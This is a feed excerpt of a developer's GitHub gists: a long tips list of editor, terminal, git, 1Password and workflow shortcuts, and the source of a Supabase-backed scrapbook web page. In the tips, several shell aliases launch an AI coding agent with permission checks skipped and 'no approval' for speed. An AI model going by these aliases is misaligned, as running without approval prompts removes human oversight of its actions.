(nvim/treesitter) BS - SHRINK selection back down (in visual mode)
(nvim/treesitter) vaf/daf/yaf - select/delete/yank AROUND function
(nvim/treesitter) vif/dif/yif - select/delete/yank INSIDE function
(nvim/treesitter) vat/dat - select/delete around HTML tag (whole element)
(nvim/treesitter) vit/dit - select/delete inside tag (just contents)
(nvim/treesitter) vaa/via - select around/inside argument (function params)
(motorcycle) C-space is semantic zoom - not lines, not chars, MEANING
(nvim/telescope) &lt;leader&gt;fk - search all keymaps/keybindings
(nvim/telescope) &lt;leader&gt;fo - oldfiles (recent files)
(nvim/telescope) &lt;leader&gt;fm - jump to bookmarks/marks
(nvim/telescope) &lt;leader&gt;fr - see all registers content
(nvim/telescope) &lt;leader&gt;fj - navigate jump history
(nvim/yanky) &lt;leader&gt;p - cycle through yank history
(nvim/yanky) deleted something then copied? &lt;leader&gt;p gets it back
(tmux) C-a [ or C-a Space - enter copy mode (Space is easier!)
(tmux/copy-mode) v - start selection
(tmux/copy-mode) y - yank selection to clipboard and exit
(tmux/copy-mode) C-v - rectangle/block selection (select columns)
(tmux/copy-mode) / - search forward
(tmux/copy-mode) ? - search backward
(tmux/copy-mode) g - go to top of scrollback
(tmux/copy-mode) G - go to bottom
(tmux/copy-mode) C-u / C-d - half page up/down
(tmux/copy-mode) Escape - cancel and exit
(git) git worktree add ../feature-name feature-branch - work on multiple branches simultaneously
(git) git worktree list - see all active worktrees
(git) git worktree remove ../feature-name - remove worktree
(git) worktrees: work on PR in one pane, develop in another, no stashing
(zsh) cl - claude --dangerously-skip-permissions
(zsh) cln - claude --no-approval (maximum velocity)
(zsh) clc - claude commit (AI writes your git messages)
(zsh) ta or t0 - instantly attach to tmux session 0
(zsh) nrd - npm run dev
(zsh) nred - npm run electron:dev
(zsh) yy - yalc commands without the npx dance
(zsh) ..2 - go up two directories
(zsh) ..3 - go up three directories
(sketchybar) CIPHER coach shows when no calendar events in next 4 hours
(nvim) capital letter marks (mA) are GLOBAL across files, lowercase (ma) are file-local
(nvim/oil) - opens oil (parent dir)
(lazygit) space = stage, c = commit, P = push, ? = help
(yazi) enter = open, space = select, . = hidden, z = frecency jump
(nvim) space u w - toggle wrap
(nvim) space u l - line numbers
(nvim) space u L - relative numbers
(nvim) space u s - spell check
(nvim) space u d - toggle diagnostic virtual text
(nvim) space u h - inlay hints
(nvim) space u f - format on save
(nvim) space u b - dark/light toggle
(nvim) space u g - git signs
(nvim) space u i - indent guides
(nvim) gd - jump to definition
(nvim) gr - find all references
(nvim) K - hover docs
(nvim) space c a - code action
(nvim) space c r - rename symbol across all files
(nvim) space f f - find files
(nvim) space f g - live grep
(nvim) space f b - list open buffers
(nvim) space f r - recent files
(nvim) space e - toggle file tree sidebar
(nvim) space g g - lazygit
(nvim) space x x - list all errors/warnings in project
(nvim) space s s - jump to functions/classes in current file
(nvim) ]d / [d - next/prev diagnostic
(nvim) ]] / [[ - next/prev function
(nvim) gcc - comment line
(nvim) gc - comment selection
(nvim) za - toggle fold
(nvim) zR - open all folds
(nvim) zM - close all folds
(nvim) ctrl-o - jump back
(nvim) ctrl-i - jump forward
(nvim) * - search word under cursor
(nvim) # - search backwards
(nvim) ciw - change word
(nvim) diw - delete word
(nvim) yiw - yank word
(nvim) vi&quot; - select in quotes
(nvim) va&quot; - select around quotes
(nvim) dt. - delete to period
(nvim) ct, - change to comma
(nvim) f( - find next (
(nvim) ; - repeat f/t motion
(nvim) . - repeat last change
(nvim) u - undo
(nvim) ctrl-r - redo
(nvim) ZZ - save and quit
(nvim) ZQ - quit without saving
(nvim) space b d - close buffer
(nvim) space b o - close other buffers
(nvim) ]b / [b - next/prev buffer
(nvim) space , - switch buffer
(nvim) ctrl-h/j/k/l - move between splits and tmux panes
(nvim) space w d - close window
(nvim) space w - - split below
(nvim) space w | - split right
(nvim) :%s/old/new/g - replace all
(nvim) n / N - next/prev match
(nvim) space / - grep project
(nvim) ]h / [h - next/prev git hunk
(nvim) space g s - stage hunk
(nvim) space g r - reset hunk
(nvim) space g p - preview hunk
(nvim) space g b - git blame line
(nvim/copilot) Tab - accept ghost text suggestion
(nvim/copilot) ]s - next AI suggestion
(nvim/copilot) [s - prev AI suggestion
(nvim/copilot) C-Right - accept one word
(nvim/copilot) C-l - accept one line
(nvim/copilot) C-] - dismiss suggestion
(nvim/copilot) M-Enter - open panel (browse 3 suggestions)
(nvim/diffview) space g d - open git diff view (review Claude Code changes)
(nvim/diffview) space g h - file history for current file
(nvim/diffview) space g c - close diffview
(nvim/diffview) ]c / [c - jump between changes in diff
(nvim/diffview) Tab - cycle through files in diff
(nvim/diffview) do - obtain (accept) change from other side
(nvim/diffview) dp - put (apply) change to other side
(nvim/claude) space y r - yank selection with relative path (paste in Claude Code)
(nvim/claude) space y a - yank selection with absolute path
(nvim/hotreload) files auto-reload when Claude Code edits them
(nvim/hotreload) won&apos;t reload if you have unsaved changes (safe!)
(nvim/hotreload) diffview auto-refreshes when Claude Code commits
(nvim/telescope) ctrl-q - send results to quickfix
(nvim/telescope) tab - select multiple
(nvim/telescope) ctrl-x - open in split
(nvim/telescope) ctrl-v - open in vsplit
(nvim) space f t - float terminal
(nvim) ctrl-\ - toggle terminal
(nvim) J - join lines
(nvim) ~ - swap case
(nvim) gu - lowercase selection
(nvim) gU - UPPERCASE selection
(nvim) &gt; / &lt; - indent/dedent selection
(nvim) ctrl-a - increment number
(nvim) ctrl-x - decrement number
(zsh) opin - sign into 1Password
(zsh) opget &quot;Item&quot; password - grab password from any item
(zsh) opget &quot;Item&quot; username - grab username
(zsh) opcp &quot;Item&quot; - copy password to clipboard
(zsh) opfzf - browse all items with fzf preview
(zsh) oplist - fuzzy search item names
(zsh) vpsdb - connect to VPS PostgreSQL (creds from 1Password)
(zsh) pgop &quot;Item Name&quot; - connect to PostgreSQL using 1Password creds
(zsh) openv &quot;Item&quot; - export all fields as ENV vars
(zsh) opsavedb &quot;Title&quot; host user pass - save new DB creds to 1Password
(1p) op read &quot;op://Vault/Item/field&quot; - read secret in scripts
(1p) op inject -i .env.template -o .env - inject secrets into templates
(1p) op run --env-file=.env.op -- npm start - inject secrets for any command
(1p) op item get &quot;Item&quot; --format=json | jq - full item as JSON
(combo) tailscale up &amp;&amp; vpsdb - connect to VPS db over tailnet securely
(combo) store tailscale hostnames in 1Password (names don&apos;t change, IPs do)
(zsh) vps - connects with mosh (auto-installs on first run)
(zsh) vpsreconnect - respawn pane with reconnect
(zsh) sshkeepalive &lt;host&gt; - auto-reconnect loop
(tmux) C-a R - respawn pane (instant reconnect)
(ssh) ControlMaster multiplexes connections (instant subsequent connects)
(mosh) survives: laptop sleep, wifi changes, IP changes, network drops
(wisdom) never echo passwords to terminal, use opcp instead
(wisdom) .env files are for non-secrets, 1Password is for secrets
(wisdom) connection strings &gt; individual fields (one copy-paste to connect)
(vibe) you&apos;re building something cool right now
(vibe) take a breath, stretch your wrists
(vibe) small commits &gt; big commits
(vibe) if it works, ship it
(vibe) future you will thank present you for that comment
(vibe) the bug is always where you&apos;re not looking
(vibe) cmd+shift+r to reload ghostty shaders
(vibe) have you pushed your work lately?
(vibe) drink water
(vibe) the best code is the code you delete
(workflow) nvim left pane (manual coding) + Claude Code right pane (big refactors)
(workflow) Tab accepts ghost text, ]s cycles suggestions, space g d reviews changes
(workflow) select code, space y r, paste in Claude Code (it knows the file!)
(reading) the professional concentrates on the work and allows rewards to come or not come
(reading) the most important thing about art is to work. nothing else matters except sitting down every day and trying
(reading) when we sit down and work, we become like a magnetized rod that attracts iron filings
(reading) the more important a call is to our soul&apos;s evolution, the more Resistance we will feel
(reading) who knows doesn&apos;t talk. who talks doesn&apos;t know.
(reading) to live till you die is to live long enough.
(reading) noise is any pattern we don&apos;t understand.
(reading) life doesn&apos;t happen along interstates. it&apos;s against the law.
(reading) ego stories come naturally because uncertainty is frightening.
(reading) the love that lasts the longest is the love that is never returned.
(reading) the first line of attack in this campaign was poetry.
(reading) be broken to be whole.
(reading) bullshit is not a modern invention.
(reading) living people are soft and tender.
(reading) the five colors blind our eyes.
(reading) true goodness is like water.
(reading) thoughts happen to us.
(reading) study the hard while it&apos;s easy.
(reading) well planted is not uprooted, well kept is not lost.
(reading) the wind plays the world like an instrument.
(reading) not everyone wants to get better.
(reading) by intention, everyone would be in one another&apos;s way.
(reading) in some ways, my moods did and did not exist.
(reading) today mankind is locked into stealing ravenously from the future.
(reading) their lack of planning does not make it your emergency.
(reading) to run things, be undiplomatic.
(reading) the wise person acts but does not take credit.
(reading) we can&apos;t actually be aware unless we pay attention.
(reading) the professional cannot live like that. he is on a mission.
(strudel.nvim) :StrudelLaunch - opens Strudel in browser, syncs with current buffer
(strudel.nvim) :StrudelToggle - play/stop playback
(strudel.nvim) :StrudelUpdate - evaluate/update code (hear changes without stopping)
(strudel.nvim) :StrudelQuit - close browser session
(strudel.nvim) edit in nvim OR browser - changes sync both ways automatically
(strudel.nvim) cursor syncs in real-time between nvim and browser
(strudel.nvim) evaluation errors show as nvim notifications
(strudel.nvim) works with .str and .std file extensions
(strudel.nvim) hydra integration - live code visuals from nvim
(strudel.nvim) uses Puppeteer + Chromium for browser automation
(strudel.nvim) prereqs: neovim 0.9+, node 16+, chromium-based browser
(strudel.nvim) install: { &quot;gruvw/strudel.nvim&quot;, build = &quot;npm ci&quot;, config = function() require(&quot;strudel&quot;).setup() end }
(strudel.nvim) github: https://github.com/gruvw/strudel.nvim
(obs) obs print &lt;file&gt; - get note content from Obsidian va</code></pre><p><em>Truncated — <a href="https://gist.github.com/36c37cb4a9ae4bb3e18fe0b4636eedde">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[SCRAP_ZONE - Mobile-first scrapbook with D3 entity graphs + MapLibre maps]]></title>
      <link>https://gist.github.com/0df331fa3f0cd4a7417ce1f44b542914</link>
      <guid isPermaLink="true">https://gist.github.com/0df331fa3f0cd4a7417ce1f44b542914</guid>
      <pubDate>Sat, 20 Dec 2025 21:29:49 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2025-12-21T02:30:29.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>19034</code:size>
      </code:file>
      <description><![CDATA[SCRAP_ZONE - Mobile-first scrapbook with D3 entity graphs + MapLibre maps]]></description>
      <content:encoded><![CDATA[<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
  &lt;meta charset=&quot;UTF-8&quot;&gt;
  &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no&quot;&gt;
  &lt;meta name=&quot;apple-mobile-web-app-capable&quot; content=&quot;yes&quot;&gt;
  &lt;meta name=&quot;apple-mobile-web-app-status-bar-style&quot; content=&quot;black-translucent&quot;&gt;
  &lt;meta name=&quot;theme-color&quot; content=&quot;#0a0a0a&quot;&gt;
  &lt;title&gt;SCRAP&lt;/title&gt;
  &lt;script src=&quot;https://d3js.org/d3.v7.min.js&quot;&gt;&lt;/script&gt;
  &lt;script src=&quot;https://unpkg.com/maplibre-gl@3.6.2/dist/maplibre-gl.js&quot;&gt;&lt;/script&gt;
  &lt;link href=&quot;https://unpkg.com/maplibre-gl@3.6.2/dist/maplibre-gl.css&quot; rel=&quot;stylesheet&quot; /&gt;
  &lt;style&gt;
    @import url(&apos;https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@400;500&amp;family=IBM+Plex+Sans:wght@400;500&amp;display=swap&apos;);

    * { box-sizing: border-box; margin: 0; padding: 0; -webkit-tap-highlight-color: transparent; }

    :root {
      --text: #c8c8c8;
      --dim: #666;
      --faint: #444;
      --bg: #0a0a0a;
    }

    html, body {
      height: 100%;
      overflow: hidden;
      background: var(--bg);
      color: var(--text);
      font: 11px/1.5 &apos;IBM Plex Sans&apos;, sans-serif;
    }

    #feed {
      height: 100%;
      overflow-y: scroll;
      scroll-snap-type: y proximity;
      -webkit-overflow-scrolling: touch;
      overscroll-behavior: contain;
      touch-action: pan-y;
    }

    .card {
      min-height: 100dvh;
      scroll-snap-align: start;
      padding: 12px;
      padding-top: max(36px, env(safe-area-inset-top));
      padding-bottom: max(12px, env(safe-area-inset-bottom));
      display: flex;
      flex-direction: column;
      border-bottom: 1px solid var(--faint);
    }

    /* Typography */
    .src { color: var(--dim); font-size: 9px; text-transform: uppercase; letter-spacing: 0.5px; margin-bottom: 6px; }
    .src a { color: inherit; text-decoration: none; }
    .src a:hover { text-decoration: underline; }

    .title {
      font: 500 15px/1.35 &apos;IBM Plex Sans&apos;, sans-serif;
      color: #e8e8e8;
      margin-bottom: 8px;
    }

    .summary {
      font-size: 12px;
      line-height: 1.65;
      color: var(--text);
      margin-bottom: 10px;
      white-space: pre-wrap;
    }
    .summary strong { color: #fff; font-weight: 500; }

    /* Inline metadata row */
    .meta {
      font-size: 10px;
      color: var(--dim);
      margin-bottom: 12px;
      line-height: 1.7;
    }
    .meta span { margin-right: 12px; }
    .meta .val { color: var(--text); }

    /* Data sections - minimal */
    .data { font-size: 10px; line-height: 1.6; margin-bottom: 10px; }
    .data-label { color: var(--dim); text-transform: uppercase; font-size: 9px; letter-spacing: 0.3px; }

    /* Entities - compact inline */
    .ents { color: var(--dim); }
    .ent { color: var(--text); }
    .ent-rel { color: var(--faint); font-size: 9px; }

    /* Graph - smaller, tighter */
    .graph { width: 100%; height: 180px; margin: 8px 0; touch-action: pan-y; }
    .graph svg { width: 100%; height: 100%; pointer-events: none; }
    .graph svg text { pointer-events: auto; }
    .g-link { stroke: var(--faint); stroke-width: 0.5px; }
    .g-node { font-size: 8px; fill: var(--dim); cursor: grab; }
    .g-label { font-size: 6px; fill: var(--faint); text-anchor: middle; }

    /* Map - compact */
    .map { width: 100%; height: 120px; margin: 6px 0; touch-action: pan-y; }
    .map-marker { width: 6px; height: 6px; background: var(--text); border-radius: 50%; }

    /* Finance - inline numbers */
    .fin { display: flex; flex-wrap: wrap; gap: 12px; align-items: baseline; }
    .fin-sent { font: 500 16px &apos;IBM Plex Mono&apos;, monospace; color: var(--text); }
    .fin-assets { font-size: 10px; color: var(--dim); }
    .fin-asset { margin-right: 10px; }
    .fin-asset .tk { color: var(--text); font-family: &apos;IBM Plex Mono&apos;, monospace; }
    .fin-asset .sc { color: var(--dim); }
    .fin-reason { font-size: 10px; color: var(--dim); margin-top: 6px; line-height: 1.5; }

    /* Concepts - tight inline */
    .concepts { font-size: 10px; color: var(--dim); }
    .concept { color: var(--text); margin-right: 8px; }

    /* Footer */
    .foot {
      margin-top: auto;
      padding-top: 12px;
      font-size: 9px;
      color: var(--dim);
      display: flex;
      justify-content: space-between;
    }
    .foot a { color: var(--text); text-decoration: none; }

    /* Position indicator */
    #pos {
      position: fixed;
      top: max(8px, env(safe-area-inset-top));
      right: 10px;
      font: 9px &apos;IBM Plex Mono&apos;, monospace;
      color: var(--faint);
      z-index: 100;
    }

    #loading {
      position: fixed;
      inset: 0;
      display: flex;
      align-items: center;
      justify-content: center;
      background: var(--bg);
      z-index: 200;
      font-size: 9px;
      color: var(--dim);
    }
    #loading.hidden { display: none; }

    /* Network overlay */
    #network {
      position: fixed;
      inset: 0;
      z-index: 300;
      background: var(--bg);
      display: none;
      flex-direction: column;
    }
    #network.show { display: flex; }

    #net-head {
      padding: 10px 14px;
      padding-top: max(10px, env(safe-area-inset-top));
      font-size: 9px;
      color: var(--dim);
      display: flex;
      justify-content: space-between;
      border-bottom: 1px solid var(--faint);
    }
    #net-close { color: var(--text); background: none; border: none; font: inherit; cursor: pointer; }
    #net-graph { flex: 1; overflow: hidden; }
    #net-graph svg { width: 100%; height: 100%; }
    .net-link { stroke: #222; stroke-width: 0.4px; }
    .net-node { font-size: 6px; fill: var(--dim); cursor: grab; }
    .net-node.hub { font-size: 8px; fill: var(--text); }
  &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
  &lt;div id=&quot;loading&quot;&gt;...&lt;/div&gt;
  &lt;div id=&quot;pos&quot;&gt;&lt;/div&gt;
  &lt;div id=&quot;feed&quot;&gt;&lt;/div&gt;

  &lt;div id=&quot;network&quot;&gt;
    &lt;div id=&quot;net-head&quot;&gt;
      &lt;span&gt;NETWORK &lt;span id=&quot;net-stats&quot;&gt;&lt;/span&gt;&lt;/span&gt;
      &lt;button id=&quot;net-close&quot; onclick=&quot;hideNetwork()&quot;&gt;close&lt;/button&gt;
    &lt;/div&gt;
    &lt;div id=&quot;net-graph&quot;&gt;&lt;/div&gt;
  &lt;/div&gt;

  &lt;script&gt;
    const API = &apos;https://xmdylmbdeulxcqdbkfno.supabase.co&apos;;
    const KEY = &apos;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6InhtZHlsbWJkZXVseGNxZGJrZm5vIiwicm9sZSI6ImFub24iLCJpYXQiOjE2ODk5NTM0NjAsImV4cCI6MjAwNTUyOTQ2MH0.jspo2sHRd4RSN8jL8DYIfTdfZVoGZRcbiZL0MpHo8yI&apos;;

    let scraps = [], idx = 0, offset = 0, busy = false, more = true;
    const LIMIT = 30;

    const esc = s =&gt; !s ? &apos;&apos; : String(s).replace(/[&amp;&lt;&gt;&quot;&apos;]/g, c =&gt; ({&apos;&amp;&apos;:&apos;&amp;amp;&apos;,&apos;&lt;&apos;:&apos;&amp;lt;&apos;,&apos;&gt;&apos;:&apos;&amp;gt;&apos;,&apos;&quot;&apos;:&apos;&amp;quot;&apos;,&quot;&apos;&quot;:&apos;&amp;#39;&apos;}[c]));
    const fmt = s =&gt; !s ? &apos;&apos; : esc(s).replace(/\*\*(.+?)\*\*/g, &apos;&lt;strong&gt;$1&lt;/strong&gt;&apos;).replace(/\n{3,}/g, &apos;\n\n&apos;);
    const ago = d =&gt; {
      const days = Math.floor((Date.now() - new Date(d)) / 864e5);
      if (days === 0) return &apos;today&apos;;
      if (days === 1) return &apos;1d&apos;;
      if (days &lt; 30) return days + &apos;d&apos;;
      if (days &lt; 365) return Math.floor(days / 30) + &apos;mo&apos;;
      return Math.floor(days / 365) + &apos;y&apos;;
    };
    const domain = u =&gt; { try { return new URL(u).hostname.replace(&apos;www.&apos;,&apos;&apos;); } catch { return &apos;&apos;; } };
    const pct = n =&gt; (n &gt;= 0 ? &apos;+&apos; : &apos;&apos;) + (n * 100).toFixed(0) + &apos;%&apos;;
    const coord = (lat, lng) =&gt; `${lat.toFixed(2)}°, ${lng.toFixed(2)}°`;

    const renderEnts = (rels, i) =&gt; {
      if (!rels?.length) return &apos;&apos;;
      // Compact entity list + small graph
      const pairs = rels.slice(0, 6).map(r =&gt;
        `&lt;span class=&quot;ent&quot;&gt;${esc(r.source)}&lt;/span&gt; &lt;span class=&quot;ent-rel&quot;&gt;${esc(r.relationship)}&lt;/span&gt; &lt;span class=&quot;ent&quot;&gt;${esc(r.target)}&lt;/span&gt;`
      ).join(&apos; · &apos;);
      const more = rels.length &gt; 6 ? ` &lt;span class=&quot;ent-rel&quot;&gt;+${rels.length - 6}&lt;/span&gt;` : &apos;&apos;;
      return `&lt;div class=&quot;data&quot;&gt;
        &lt;span class=&quot;data-label&quot;&gt;entities&lt;/span&gt; ${pairs}${more}
        &lt;div class=&quot;graph&quot; id=&quot;graph-${i}&quot;&gt;&lt;/div&gt;
      &lt;/div&gt;`;
    };

    const initGraph = (i, rels) =&gt; {
      const box = document.getElementById(&apos;graph-&apos; + i);
      if (!box || !rels?.length) return;
      const w = box.clientWidth, h = box.clientHeight;

      const nodeSet = new Set();
      rels.forEach(r =&gt; { nodeSet.add(r.source); nodeSet.add(r.target); });
      const nodes = Array.from(nodeSet).map(id =&gt; ({ id, label: id.length &gt; 12 ? id.slice(0,10)+&apos;…&apos; : id }));
      const nodeMap = Object.fromEntries(nodes.map((n,j) =&gt; [n.id, j]));
      const links = rels.map(r =&gt; ({ source: nodeMap[r.source], target: nodeMap[r.target], type: r.relationship }));

      const svg = d3.select(box).append(&apos;svg&apos;).attr(&apos;viewBox&apos;, [0,0,w,h]);
      const sim = d3.forceSimulation(nodes)
        .force(&apos;link&apos;, d3.forceLink(links).distance(45))
        .force(&apos;charge&apos;, d3.forceManyBody().strength(-50))
        .force(&apos;center&apos;, d3.forceCenter(w/2, h/2))
        .force(&apos;collision&apos;, d3.forceCollide().radius(22));

      const link = svg.append(&apos;g&apos;).selectAll(&apos;line&apos;).data(links).join(&apos;line&apos;).attr(&apos;class&apos;,&apos;g-link&apos;);
      const label = svg.append(&apos;g&apos;).selectAll(&apos;text&apos;).data(links).join(&apos;text&apos;).attr(&apos;class&apos;,&apos;g-label&apos;)
        .text(d =&gt; d.type.length &gt; 8 ? d.type.slice(0,6)+&apos;…&apos; : d.type);
      const node = svg.append(&apos;g&apos;).selectAll(&apos;g&apos;).data(nodes).join(&apos;g&apos;)
        .call(d3.drag().on(&apos;start&apos;,(e,d)=&gt;{if(!e.active)sim.alphaTarget(0.3).restart();d.fx=d.x;d.fy=d.y;})
          .on(&apos;drag&apos;,(e,d)=&gt;{d.fx=e.x;d.fy=e.y;}).on(&apos;end&apos;,(e,d)=&gt;{if(!e.active)sim.alphaTarget(0);d.fx=null;d.fy=null;}));
      node.append(&apos;text&apos;).attr(&apos;class&apos;,&apos;g-node&apos;).attr(&apos;text-anchor&apos;,&apos;middle&apos;).attr(&apos;dy&apos;,2).text(d=&gt;d.label);

      sim.on(&apos;tick&apos;, () =&gt; {
        nodes.forEach(d =&gt; { d.x = Math.max(30, Math.min(w-30, d.x)); d.y = Math.max(12, Math.min(h-12, d.y)); });
        link.attr(&apos;x1&apos;,d=&gt;d.source.x).attr(&apos;y1&apos;,d=&gt;d.source.y).attr(&apos;x2&apos;,d=&gt;d.target.x).attr(&apos;y2&apos;,d=&gt;d.target.y);
        label.attr(&apos;x&apos;,d=&gt;(d.source.x+d.target.x)/2).attr(&apos;y&apos;,d=&gt;(d.source.y+d.target.y)/2);
        node.attr(&apos;transform&apos;,d=&gt;`translate(${d.x},${d.y})`);
      });
    };

    const renderLoc = (s, i) =&gt; {
      if (!s.latitude || !s.longitude) return &apos;&apos;;
      return `&lt;div class=&quot;data&quot;&gt;
        &lt;span class=&quot;data-label&quot;&gt;loc&lt;/span&gt; &lt;span class=&quot;val&quot;&gt;${esc(s.location) || coord(s.latitude, s.longitude)}&lt;/span&gt;
        &lt;div class=&quot;map&quot; id=&quot;map-${i}&quot;&gt;&lt;/div&gt;
      &lt;/div&gt;`;
    };

    const initMap = (i, lat, lng) =&gt; {
      const box = document.getElementById(&apos;map-&apos; + i);
      if (!box) return;
      const map = new maplibregl.Map({
        container: box,
        style: { version: 8, sources: { &apos;carto&apos;: { type: &apos;raster&apos;, tiles: [&apos;https://a.basemaps.cartocdn.com/dark_all/{z}/{x}/{y}@2x.png&apos;], tileSize: 256 } }, layers: [{ id: &apos;carto&apos;, type: &apos;raster&apos;, source: &apos;carto&apos; }] },
        center: [lng, lat], zoom: 8, attributionControl: false, interactive: false
      });
      const el = document.createElement(&apos;div&apos;); el.className = &apos;map-marker&apos;;
      new maplibregl.Marker({ element: el }).setLngLat([lng, lat]).addTo(map);
    };

    const renderFin = s =&gt; {
      const fa = s.financial_analysis;
      if (!fa) return &apos;&apos;;
      const assets = (fa.assets || []).slice(0, 4).map(a =&gt;
        `&lt;span class=&quot;fin-asset&quot;&gt;&lt;span class=&quot;tk&quot;&gt;${esc(a.ticker)}&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;${pct(a.sentiment_score)}&lt;/span&gt;&lt;/span&gt;`
      ).join(&apos;&apos;);
      return `&lt;div class=&quot;data&quot;&gt;
        &lt;div class=&quot;fin&quot;&gt;
          &lt;span class=&quot;fin-sent&quot;&gt;${pct(fa.overall_market_sentiment || 0)}&lt;/span&gt;
          &lt;span class=&quot;fin-assets&quot;&gt;${assets}&lt;/span&gt;
        &lt;/div&gt;
        ${fa.market_reasoning ? `&lt;div class=&quot;fin-reason&quot;&gt;${esc(fa.market_reasoning).slice(0, 200)}${fa.market_reasoning.length &gt; 200 ? &apos;…&apos; : &apos;&apos;}&lt;/div&gt;` : &apos;&apos;}
      &lt;/div&gt;`;
    };

    const renderConcepts = s =&gt; {
      if (!s.concept_tags?.length) return &apos;&apos;;
      const tags = s.concept_tags.slice(0, 8).map(t =&gt; `&lt;span class=&quot;concept&quot;&gt;${esc(t.replace(/_/g,&apos; &apos;))}&lt;/span&gt;`).join(&apos;&apos;);
      return `&lt;div class=&quot;data concepts&quot;&gt;&lt;span class=&quot;data-label&quot;&gt;concepts&lt;/span&gt; ${tags}&lt;/div&gt;`;
    };

    const renderCard = (s, i) =&gt; {
      const tags = s.tags?.slice(0, 4).join(&apos; · &apos;) || &apos;&apos;;
      return `&lt;div class=&quot;card&quot; data-i=&quot;${i}&quot;&gt;
        &lt;div class=&quot;src&quot;&gt;
          &lt;a href=&quot;${esc(s.url)}&quot; target=&quot;_blank&quot;&gt;${domain(s.url)}&lt;/a&gt; · ${esc(s.source) || &apos;?&apos;} · ${esc(s.content_type) || &apos;item&apos;} · ${ago(s.created_at)}
        &lt;/div&gt;
        &lt;h1 class=&quot;title&quot;&gt;${esc(s.title) || &apos;untitled&apos;}&lt;/h1&gt;
        ${s.summary ? `&lt;div class=&quot;summary&quot;&gt;${fmt(s.summary)}&lt;/div&gt;` : &apos;&apos;}
        ${tags ? `&lt;div class=&quot;meta&quot;&gt;&lt;span class=&quot;val&quot;&gt;${tags}&lt;/span&gt;&lt;/div&gt;` : &apos;&apos;}
        ${renderEnts(s.relationships, i)}
        ${renderLoc(s, i)}
        ${renderFin(s)}
        ${renderConcepts(s)}
        &lt;div class=&quot;foot&quot;&gt;
          &lt;span&gt;${i + 1}&lt;/span&gt;
          &lt;a href=&quot;${esc(s.url)}&quot; target=&quot;_blank&quot;&gt;→&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;`;
    };

    const updateUI = () =&gt; { document.getElementById(&apos;pos&apos;).textContent = `${idx+1}/${scraps.length}${more?&apos;+&apos;:&apos;&apos;}`; };

    const load = async (append = false) =&gt; {
      if (busy) return;
      busy = true;
      if (!append) document.getElementById(&apos;loading&apos;).classList.remove(&apos;hidden&apos;);

      try {
        const r = await fetch(`${API}/rest/v1/scraps?select=id,title,url,created_at,screenshot_url,source,tags,summary,relationships,concept_tags,content_type,latitude,longitude,location,financial_analysis&amp;order=created_at.desc&amp;limit=${LIMIT}&amp;offset=${offset}`,
          { headers: { &apos;apikey&apos;: KEY, &apos;Authorization&apos;: `Bearer ${KEY}` } });
        if (!r.ok) throw new Error(r.status);
        const data = await r.json();
        more = data.length === LIMIT;

        if (append) {
          const start = scraps.length;
          scraps = [...scraps, ...data];
          const feed = document.getElementById(&apos;feed&apos;);
          data.forEach((s, j) =&gt; {
            const d = document.createElement(&apos;div&apos;);
            d.innerHTML = renderCard(s, start + j);
            feed.appendChild(d.firstElementChild);
          });
          setTimeout(() =&gt; {
            data.forEach((s, j) =&gt; {
              if (s.relationships?.length) initGraph(start + j, s.relationships);
              if (s.latitude &amp;&amp; s.longitude) initMap(start + j, s.latitude, s.longitude);
            });
          }, 50);
        } else {
          scraps = data;
          document.getElementById(&apos;feed&apos;).innerHTML = scraps.map((s, j) =&gt; renderCard(s, j)).join(&apos;&apos;);
          setTimeout(() =&gt; {
            scraps.forEach((s, j) =&gt; {
              if (s.relationships?.length) initGraph(j, s.relationships);
              if (s.latitude &amp;&amp; s.longitude) initMap(j, s.latitude, s.longitude);
            });
          }, 50);
        }
        offset += data.length;
        document.getElementById(&apos;loading&apos;).classList.add(&apos;hidden&apos;);
        updateUI();
      } catch (e) {
        document.getElementById(&apos;loading&apos;).textContent = &apos;err: &apos; + e.message;
      }
      busy = false;
    };

    const checkMore = () =&gt; {
      if (!more || busy) return;
      const feed = document.getElementById(&apos;feed&apos;);
      if (feed.scrollHeight - feed.scrollTop - feed.clientHeight &lt; 400) load(true);
    };

    document.getElementById(&apos;feed&apos;).addEventListener(&apos;scroll&apos;, e =&gt; {
      const newIdx = Math.round(e.target.scrollTop / window.innerHeight);
      if (newIdx !== idx) { idx = newIdx; updateUI(); }
      checkMore();
    });

    document.addEventListener(&apos;keydown&apos;, e =&gt; {
      if (e.key === &apos;Escape&apos;) { hideNetwork(); return; }
      if (document.getElementById(&apos;network&apos;).classList.contains(&apos;show&apos;)) return;
      const feed = document.getElementById(&apos;feed&apos;);
      if (e.key === &apos;j&apos; || e.key === &apos;ArrowDown&apos;) { e.preventDefault(); if (idx &lt; scraps.length-1) { idx++; feed.scrollTo({top: idx*window.innerHeight, behavior:&apos;smooth&apos;}); updateUI(); } }
      else if (e.key === &apos;k&apos; || e.key === &apos;ArrowUp&apos;) { e.preventDefault(); if (idx &gt; 0) { idx--; feed.scrollTo({top: idx*window.innerHeight, behavior:&apos;smooth&apos;}); updateUI(); } }
      else if (e.key === &apos;o&apos; || e.key === &apos;Enter&apos;) { window.open(scraps[idx]?.url, &apos;_blank&apos;); }
      else if (e.key === &apos;n&apos;) { showNetwork(); }
    });

    let netSim = null;
    window.showNetwork = ()</code></pre><p><em>Truncated — <a href="https://gist.github.com/0df331fa3f0cd4a7417ce1f44b542914">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[EJ's Tips & Tricks (nvim, tmux, zsh, 1Password, workflow wisdom)]]></title>
      <link>https://gist.github.com/b46e7a5ec352c8d94f766d54e4c956cd</link>
      <guid isPermaLink="true">https://gist.github.com/b46e7a5ec352c8d94f766d54e4c956cd</guid>
